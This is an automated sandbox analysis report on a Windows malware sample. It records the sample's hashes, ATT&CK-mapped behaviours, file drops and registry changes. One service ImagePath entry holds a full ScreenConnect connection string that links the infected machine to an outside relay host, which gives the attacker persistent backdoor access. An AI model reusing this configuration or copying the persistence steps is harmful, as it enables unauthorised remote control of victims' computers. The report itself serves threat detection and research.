dbd2b894a497689b47024a544c3120f441a6594629b0dbcf2136671bf5dd4ee9

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
26/04/2026, 16:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-04-26_39901f774759951f1f95e1989acdba51_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Size 11.2MB
Sample260426-thnbnaav4x
SHA256 dbd2b894a497689b47024a544c3120f441a6594629b0dbcf2136671bf5dd4ee9
MD5 39901f774759951f1f95e1989acdba51
SHA1 2a49deadffb06c3450d4e8ab58e738aace1d185b
SHA512 5344ad9b6062d6e0f98ed2ac53db6152d9672c438ee7540dadac407bbd0709202af78efa5f6cbf84cc2a64e0f22cf91184ab52761b2b79ec06c3c3c335350c79
SSDEEP 196608:v1TfefPq1QyiixtMj2Z1jhlrwUvQyiixtMjhQyiixtMjmQyiixtMjeQyiixtMjV:vGPnj2rrYPnjKPnjfPnj3PnjV
TLSH
T180C61201B3E68975D0BF0638DC7A56615A35BC049B12C6BF5798B96D2E32BC08E32377
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

backdoor discovery persistence ransomware rat

Malware Config

Signatures

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (f019ead39d18b18b)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (f019ead39d18b18b)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=help.overthewire.com.au&p=8041&s=7754212d-5068-4ae0-961d-1fd8288fde28&k=BgIAAACkAABSU0ExAAgAABEAAADHIkW%2b3HkPDSP8U77odETO2Oa6bry95zbwMkerRF0eoHnNKAHT78QsJ6B%2f%2bZOVRdNRgQC8gdviJB8iW05rbTmlpwsLrK0H7JTi4N06Q%2bplY1t8EQl2h5J%2bMfufP1lbQqdDbMiPPE4T2%2bvG8b8sNhs4C3VvoCE98u6otcwd75fFoqbrbve62s5RH%2fIKMon8mLiGGGAFiFB%2bu9kaGWjGNwT%2bzyF%2fZIcT2W6Y97Tk8Dv4OxH%2bft4BZRxwWC7aFkO80aDkr5Sw2B3pPgEI7pLLwBbthQ2faO%2f2DvGYw1a5MePu4r1LEs%2bl24Lj5MNhS0o6EXzdIMN8pM00PBIW87tYXT%2bY&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAWNuomMZ1D0irEY%2bubVkSigAAAAACAAAAAAAQZgAAAAEAACAAAAD4BLMnew2dIcW3NEK9JTmyhmKk%2fgWfIu5P1WwlzdWurgAAAAAOgAAAAAIAACAAAAC1%2f2h6VDVHEKGRK0Dvz6KgS4xTIJSHxBVHusTXTaAj5KAEAADoXNSVQs78OB09Ls%2bMo2pN%2bZB34%2bf6dWFcjXb20w1Uv3AWuL4SJl0636WhUvDqT4HbTcsSTB7a2odyiqG0kkZ%2b8N5ogAdXUXyvjo3Sq8lZB2z2HkeobprlcWvkGhhWcDp9vo0XvMRGCUDY5B0xpL1B%2f0283rA4gQOSOhNZ455p4p39Ra%2bqZEU5QdHH6wLCJEptkSIjPeCPtsydr%2bwN4WSCqf0MxCwzkAadDmscTzJPyghloDdIDOR8z8Kxup1DtgJJGseCfTbIPplkM%2f%2fgtN5s2WKqYYkMGisHXnJLkccPanW7NiZgoGiP7t39G%2bRx1StpzHyw47e6kW7mI0Bk2Jlj%2bPkRdw8E1p3N65TeZtexwHKfiNXuT7hlDRElPE3TUavdxSTlGjlqmvLsceQaYFAJYPvVwQjoRqyDQSaRKC6Kx%2fGfm%2ftksILPDw8NIThJK6QHYFPwPR5rpumcITFhTznfMMMd0NuLg0FF5Bl6NRSM2HoT73ZzHnQC%2fWO02QVuSRZr9g1MQLjKMTjBuPmXuYDbn8eTgqEtugjCSwLeztqcrXp3%2fe04Ehcrlz2XVjF2Azs7CFdUhkKiH%2b%2fa3Gu6yBX3ixFDL7FIRHQpVFi6dJL1zpYocQZUhJVNB6VGSLsoDYyHwdR53PjJbzg%2fbeIBqPNeMOOvkAFPfSELUYNGRbmpqBaxet%2fzmyx6hUTQlby97Ol28IoiWObPbSZORVOIxujTRUk%2fmrmMDsPtV9I0%2fIhQvX%2fhGkVYqVW%2fCxaBLrN9YsJWwuymhmbqBCZ%2bI9dPHp8jRgwZfUVf7s9TIIrc5A0VDg44JYxvQgWQJVZ7sQ66ZGNmCk%2b4%2fQuOYp78BfD6kTG%2fXZR%2fVPBQpsMJPoXgjTD1HiYUmNogeKuRfD%2bGDebfPKoR5IQ3doHDWXg4MCtmRnQEsRog8wAleIDivSYbfnX9v%2fkXB7sFRe5qJZGoMD9IJ7Ml5pv1u48U3TxYSXZx6UYlJthCYdcwal%2b7%2fD5enwqj%2ftJZ6X%2bAL2RyKAHOhAsdmkUd%2fp9TqUK1QvSvgMZeYsAO3iM69xqt9PWy2%2fk%2b6NFKXQySMZHTtO%2bn4QVsUo90pC3NSk4m%2flhx358LvECAapQ37B4mZnBMMRynF5pJUShf5UV0rl4xOXJQzWZrWV6Gm7PG1acGwpzPxQV7vx1FNcbPCBPrYcSOFJ23JrcPO39L8EgIidVupLD0bqzuz21MlbyPobMJYQKST1EHYhMo%2f%2b69CJ0O8SK0dRpHFeXkjo0egpPQzIsJxQOGPypbOmhdY9slb1jx3%2ffAmArfbj2hgKqy%2fw0BJVBcemJ3T01I7FWWu16kcq3MFvVUnr7trMfUPdZrAbvBstH6f1Im9vBtRFoliAQdNcNnEPKnuT4f1yM2zxh0rsPw72NUzk9Hkq9rURXVG4CLUJYCbBdQJX5ln1yLweHZ7t5Cm36p6sLJACpRuPGqn7sbLhdyNrwB7dFjWg8m1E%2fPGTG%2fSthhqKKyQ%2fIKCp1OhSRCgnXPPEK9n6d63YVz0QNHzpCXiBJyG50R%2b72MsLik0ohxIjgWmkcopu4BkQKf0odtp3H7GvfqbGCg%2fUAAAADxGhqMbRtMtS%2fH5RAgBZUYW3IZ%2fO3R%2bdpQeusT9RaKDGl2Chz2xmNFGNM8lseFnarkGsj7Je5hVe%2fgXAeW18Sn&c=Test&c=Head%20Office&c=Managed%20Services&c=Clients&c=&c=&c=&c=\""	ScreenConnect.ClientService.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	3900	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Control Panel\International\Geo\Nation	2026-04-26_39901f774759951f1f95e1989acdba51_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe

Drops file in System32 directory 15 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\nf4ghmmd.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\mlobptzp.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\nf4ghmmd.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\hu4abnwz.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\mlobptzp.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\uyupayy1.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\hu4abnwz.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\eoscfbmd.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\eoscfbmd.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\mlobptzp.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\hu4abnwz.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\user.config	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\eoscfbmd.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\uyupayy1.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\uyupayy1.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 15 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.ClientService.exe	msiexec.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC639.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{4DA58A0F-1245-97FF-7AE0-4853BABA9D7E}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\{4DA58A0F-1245-97FF-7AE0-4853BABA9D7E}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{4DA58A0F-1245-97FF-7AE0-4853BABA9D7E}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\e58c52f.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{4DA58A0F-1245-97FF-7AE0-4853BABA9D7E}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC669.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC7A2.tmp	msiexec.exe
File created	C:\Windows\Installer\e58c531.msi	msiexec.exe
File created	C:\Windows\Installer\e58c52f.msi	msiexec.exe

Executes dropped EXE 2 IoCs

pid	Process
4008	ScreenConnect.ClientService.exe
1028	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
3812	MsiExec.exe
2192	rundll32.exe
2192	rundll32.exe
2192	rundll32.exe
2192	rundll32.exe
2192	rundll32.exe
2192	rundll32.exe
2192	rundll32.exe
2192	rundll32.exe
2192	rundll32.exe
684	MsiExec.exe
2164	MsiExec.exe
4008	ScreenConnect.ClientService.exe
4008	ScreenConnect.ClientService.exe
4008	ScreenConnect.ClientService.exe
4008	ScreenConnect.ClientService.exe
4008	ScreenConnect.ClientService.exe
4008	ScreenConnect.ClientService.exe
4008	ScreenConnect.ClientService.exe
4008	ScreenConnect.ClientService.exe
4008	ScreenConnect.ClientService.exe
4008	ScreenConnect.ClientService.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-04-26_39901f774759951f1f95e1989acdba51_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000550aa4e2285040970000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000550aa4e20000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900550aa4e2000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a550aa4e2000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d550aa4e2000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe

Modifies registry class 32 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\Version = "420020229"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\CC5A5DCD96FB7BC70F91AE3DD9811BB8	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\SourceList	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f019ead39d18b18b\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f019ead39d18b18b\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (f019ead39d18b18b)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\PackageCode = "F0A85AD45421FF79A70E8435ABABD9E7"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\ProductIcon = "C:\\Windows\\Installer\\{4DA58A0F-1245-97FF-7AE0-4853BABA9D7E}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f019ead39d18b18b\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f019ead39d18b18b\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f019ead39d18b18b\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f019ead39d18b18b\URL Protocol	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\SourceList\Media	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-f019ead39d18b18b	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F0A85AD45421FF79A70E8435ABABD9E7	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F0A85AD45421FF79A70E8435ABABD9E7\Full	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\CC5A5DCD96FB7BC70F91AE3DD9811BB8\F0A85AD45421FF79A70E8435ABABD9E7	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.9.5.9483\\f019ead39d18b18b\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-f019ead39d18b18b\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\ProductName = "ScreenConnect Client (f019ead39d18b18b)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.9.5.9483\\f019ead39d18b18b\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f019ead39d18b18b	msiexec.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4936	msiexec.exe
4936	msiexec.exe
4008	ScreenConnect.ClientService.exe
4008	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	820	2026-04-26_39901f774759951f1f95e1989acdba51_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Token: SeShutdownPrivilege	3900	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3900	msiexec.exe
Token: SeSecurityPrivilege	4936	msiexec.exe
Token: SeCreateTokenPrivilege	3900	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3900	msiexec.exe
Token: SeLockMemoryPrivilege	3900	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3900	msiexec.exe
Token: SeMachineAccountPrivilege	3900	msiexec.exe
Token: SeTcbPrivilege	3900	msiexec.exe
Token: SeSecurityPrivilege	3900	msiexec.exe
Token: SeTakeOwnershipPrivilege	3900	msiexec.exe
Token: SeLoadDriverPrivilege	3900	msiexec.exe
Token: SeSystemProfilePrivilege	3900	msiexec.exe
Token: SeSystemtimePrivilege	3900	msiexec.exe
Token: SeProfSingleProcessPrivilege	3900	msiexec.exe
Token: SeIncBasePriorityPrivilege	3900	msiexec.exe
Token: SeCreatePagefilePrivilege	3900	msiexec.exe
Token: SeCreatePermanentPrivilege	3900	msiexec.exe
Token: SeBackupPrivilege	3900	msiexec.exe
Token: SeRestorePrivilege	3900	msiexec.exe
Token: SeShutdownPrivilege	3900	msiexec.exe
Token: SeDebugPrivilege	3900	msiexec.exe
Token: SeAuditPrivilege	3900	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3900	msiexec.exe
Token: SeChangeNotifyPrivilege	3900	msiexec.exe
Token: SeRemoteShutdownPrivilege	3900	msiexec.exe
Token: SeUndockPrivilege	3900	msiexec.exe
Token: SeSyncAgentPrivilege	3900	msiexec.exe
Token: SeEnableDelegationPrivilege	3900	msiexec.exe
Token: SeManageVolumePrivilege	3900	msiexec.exe
Token: SeImpersonatePrivilege	3900	msiexec.exe
Token: SeCreateGlobalPrivilege	3900	msiexec.exe
Token: SeCreateTokenPrivilege	3900	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3900	msiexec.exe
Token: SeLockMemoryPrivilege	3900	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3900	msiexec.exe
Token: SeMachineAccountPrivilege	3900	msiexec.exe
Token: SeTcbPrivilege	3900	msiexec.exe
Token: SeSecurityPrivilege	3900	msiexec.exe
Token: SeTakeOwnershipPrivilege	3900	msiexec.exe
Token: SeLoadDriverPrivilege	3900	msiexec.exe
Token: SeSystemProfilePrivilege	3900	msiexec.exe
Token: SeSystemtimePrivilege	3900	msiexec.exe
Token: SeProfSingleProcessPrivilege	3900	msiexec.exe
Token: SeIncBasePriorityPrivilege	3900	msiexec.exe
Token: SeCreatePagefilePrivilege	3900	msiexec.exe
Token: SeCreatePermanentPrivilege	3900	msiexec.exe
Token: SeBackupPrivilege	3900	msiexec.exe
Token: SeRestorePrivilege	3900	msiexec.exe
Token: SeShutdownPrivilege	3900	msiexec.exe
Token: SeDebugPrivilege	3900	msiexec.exe
Token: SeAuditPrivilege	3900	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3900	msiexec.exe
Token: SeChangeNotifyPrivilege	3900	msiexec.exe
Token: SeRemoteShutdownPrivilege	3900	msiexec.exe
Token: SeUndockPrivilege	3900	msiexec.exe
Token: SeSyncAgentPrivilege	3900	msiexec.exe
Token: SeEnableDelegationPrivilege	3900	msiexec.exe
